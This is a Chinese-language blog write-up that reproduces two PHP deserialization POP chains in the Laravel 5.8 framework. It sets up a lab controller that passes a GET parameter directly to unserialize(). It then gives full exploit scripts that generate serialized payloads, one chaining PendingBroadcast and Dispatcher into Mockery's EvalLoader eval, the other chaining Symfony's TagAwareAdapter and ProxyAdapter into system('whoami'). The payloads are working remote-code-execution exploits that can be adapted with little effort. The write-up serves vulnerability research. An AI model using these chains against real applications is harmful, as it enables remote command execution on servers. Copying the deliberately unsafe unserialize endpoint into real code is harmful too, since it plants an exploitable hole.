本篇文章将记录 laravel5.8 框架中的两条反序列化 POP链 。
漏洞环境
直接使用 composer 安装 laravel5.8 框架,并通过 php artisan serve
命令启动 Web 服务。
1 2 3
| ➜ composer create-project --prefer-dist laravel/laravel laravel58 ➜ cd laravel58 ➜ php artisan serve --host=0.0.0.0
|
在 **laravel57/routes/web.php** 文件中添加一条路由,便于我们后续访问。
1 2 3 4
| <?php Route::get("/","\App\Http\Controllers\DemoController@demo"); ?>
|
在 laravel58/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php namespace App\Http\Controllers;
class DemoController extends Controller { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; } }
|
POP链1
这条链来自 pithon 的代码审计小密圈,按照如上方法安装将默认存在该链。先从 PendingBroadcast 类的 __destruct 方法开始 POP链 ,将 $this->events 设置成 Dispatcher 类。进入 dispatch 方法后,我们要想办法执行到 第73行 的 dispatchToQueue 方法,因为在 dispatchToQueue 方法中存在 call_user_func 函数,且可以完成任意类方法调用,所以我们要使得 第72行 的 if 语句条件为真。 ShouldQueue 是个接口,我们只要让 $command 为实现该接口的类即可, $command 即 第57行 传入的 $this->event 。
现在我们已经可以调用任意类的任意方法了,下面就寻找可利用的类方法,这里我们使用的是 EvalLoader 类的 load 方法,因为里面有调用 eval 函数,且参数可控。接下来我们只要构造条件,使得 eval 函数前面的 if 语句块不执行 return 即可。如下图 第44行 ,我们只要找一个有 getName 方法的类,且返回结果可控即可。
整个链的构造相对容易,最终 EXP 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code;
public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>'); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); } ?>
|
POP链2
这条链来自前一阵CTF国赛某道题目。漏洞存在 symfony 组件中(影响至罪行 4.4.x-dev 版本),而默认安装的 laravel5.8 框架没有包含该组件。为了复现该漏洞,我们需要将 composer.json 文件中的 require 添加 “symfony/symfony”: “4.*” 并执行 composer update 命令即可。
POP链 的入口为 TagAwareAdapter 类的 __destruct 方法,经过一些列调用,其会调用 $this->pool 的 saveDeferred 方法。
这里,我们将 $this->pool 设置为 ProxyAdapter 类。在 ProxyAdapter 类的 saveDeferred 方法中,会调用本类的 doSave 方法。而在 doSave 方法中,我们发现了可控的动态调用,如下图 第223行 所示。
首先,程序将 $item 类强转成数组(上图 第207行 ),然后再从数组中取值作为下面动态调用函数的参数(上图 第213行 )。这里可以看到有 $item[“\0*\0expiry”]、$item[“\0*\0poolHash”] 这种写法,数组键名带有 \0*\0 。这实际上是类中,修饰符为 protected 的属性,在类强转成数组之后的结果。具体可以参考如下Demo:
这里动态调用 ($this->setInnerItem)($innerItem, $item) 中有两个参数,其中第一个参数可控,刚好 system 函数最多支持两个参数,所以我们这里可以利用 system 函数来执行命令。
整个链的构造相对容易,最终 EXP 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php namespace Symfony\Component\Cache{ final class CacheItem { protected $expiry; protected $poolHash; protected $innerItem; public function __construct($expiry, $poolHash, $command) { $this->expiry = $expiry; $this->poolHash = $poolHash; $this->innerItem = $command; } } } namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter { private $poolHash; private $setInnerItem; public function __construct($poolHash, $func) { $this->poolHash = $poolHash; $this->setInnerItem = $func; } } class TagAwareAdapter { private $deferred = []; private $pool; public function __construct($deferred, $pool) { $this->deferred = $deferred; $this->pool = $pool; } } } namespace { $cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami"); $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system'); $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter); echo urlencode(serialize($tagawareadapter)); }
|
有的 symfony 组件版本执行命令后有回显,有的没有,具体大家自己测试。